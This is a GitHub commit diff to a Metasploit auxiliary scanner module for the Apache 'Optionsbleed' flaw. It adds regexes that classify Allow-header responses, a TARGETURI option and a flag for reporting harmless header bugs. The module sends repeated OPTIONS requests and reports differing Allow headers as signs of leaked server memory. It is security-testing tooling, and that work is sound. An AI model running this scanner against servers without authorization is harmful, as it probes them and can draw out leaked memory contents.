Skip to content

Commit 997b831

Browse files
committed
implement regexes
1 parent 0649d0d commit 997b831

File tree

1 file changed

+28
-8
lines changed

1 file changed

+28
-8
lines changed

modules/auxiliary/scanner/http/apache_optionsbleed.rb

Lines changed: 28 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize(info = {})
1717
server has a .htaccess file with an invalid Limit method defined.
1818
},
1919
'Author' => [
20-
'Hanno Bock', # Vulnerability discovery
20+
'Hanno Böck', # Vulnerability discovery
2121
'h00die', # Metasploit module
2222
],
2323
'References' => [
@@ -32,41 +32,61 @@ def initialize(info = {})
3232
))
3333

3434
register_options([
35-
OptInt.new('REPEAT', [true, 'Times to attempt', 40])
35+
OptString.new('TARGETURI', [true, 'The URI to the folder with the vulnerable .htaccess file', '/']),
36+
OptInt.new('REPEAT', [true, 'Times to attempt', 40]),
37+
OptBool.new('BUGS', [true, 'Print if any other Allow header bugs are found', true])
3638
])
3739
end
3840

3941
def get_allow_header(ip)
4042
res = send_request_raw({
4143
'version' => '1.1',
4244
'method' => 'OPTIONS',
43-
'uri' => '/'
45+
'uri' => datastore['TARGETURI']
4446
}, 10)
4547
if res
4648
if res.headers['Allow']
4749
return res.headers['Allow']
4850
else #now allow header returned
49-
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - No Allow header identified")
51+
fail_with(Failure::UnexpectedReply, "#{peer} - No Allow header identified")
5052
end
5153
else
52-
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to respond")
54+
fail_with(Failure::Unreachable, "#{peer} - Failed to respond")
5355
end
5456
end
5557

5658
def run_host(ip)
59+
bug_61207 = /^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$/
60+
bug_1717682 = /^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$/
5761
uniques = []
5862
for counter in 1..datastore['REPEAT']
5963
allows = get_allow_header(ip)
60-
vprint_status("#{counter}: #{allows}")
6164
if !uniques.include?(allows)
6265
uniques << allows
66+
if allows =~ bug_61207
67+
if allows.split(',').length > allows.split(',').uniq.length
68+
if datastore['BUGS']
69+
print_status('Some methods were sent multiple times in the list.
70+
This is a bug, but harmless. It may be Apache bug #61207.')
71+
end
72+
else
73+
vprint_status('Normal Response')
74+
end
75+
elsif allows =~ bug_1717682
76+
if datastore['BUGS']
77+
print_status('The list of methods was space-separated instead of comma-separated.
78+
This is a bug, but harmless. It may be Launchpad bug #1717682.')
79+
end
80+
else
81+
print_good('Options Bleed Response')
82+
end
6383
print_good("New Unique Response on Request #{counter}: #{allows}")
6484
end
6585
end
6686
if uniques.length > 1
67-
print_good('More than one Accept header received. Most likely vulnerable')
87+
print_good("More than one Accept header received. #{peer} is Most likely vulnerable")
6888
uniques.each do |allow|
69-
print_good("#{allow}")
89+
print_good(allow.to_s)
7090
end
7191
end
7292
end

0 commit comments

Comments
 (0)